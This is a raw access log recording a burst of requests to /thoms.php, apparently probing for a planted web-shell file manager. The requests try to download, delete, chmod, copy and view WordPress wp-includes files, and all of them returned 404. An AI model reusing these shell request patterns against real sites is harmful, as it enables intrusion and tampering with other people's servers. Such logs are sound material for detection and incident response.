45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?dl=theme-i18n.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?chmod=rewrite.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?del=theme-compat&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-compat&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?chmod=capabilities.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?del=class-wp-block-processor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-processor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=cron.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?chmod=class-wp-block-templates-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-templates-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=comment-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frss-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frss-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2FIXR&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?del=class-http.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-http.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?dl=plugin.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?dl=script-loader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fcss HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?del=Requests&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=Requests&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:47 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?del=compat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=compat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=default-constants.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?dl=registration-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2FPHPMailer&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?chmod=rest-api.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frss.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frss.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?del=plugin.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?del=rss.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rss.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?dl=shortcodes.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?chmod=php-compat&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=php-compat&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?del=class-wp-connector-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-connector-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:48 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?dl=class-wp-customize-section.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fjson-schema.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fjson-schema.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fstyle-engine.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fstyle-engine.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?dl=class-wp-term.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?chmod=compat-utf8.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=compat-utf8.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-patterns.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?del=class-wp-comment-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fconnectors.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fconnectors.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?dl=rss.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:49 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?chmod=view-config.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=view-config.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?chmod=fonts&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2FID3&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?del=class-avif-info.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?dl=class-wp-ajax-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
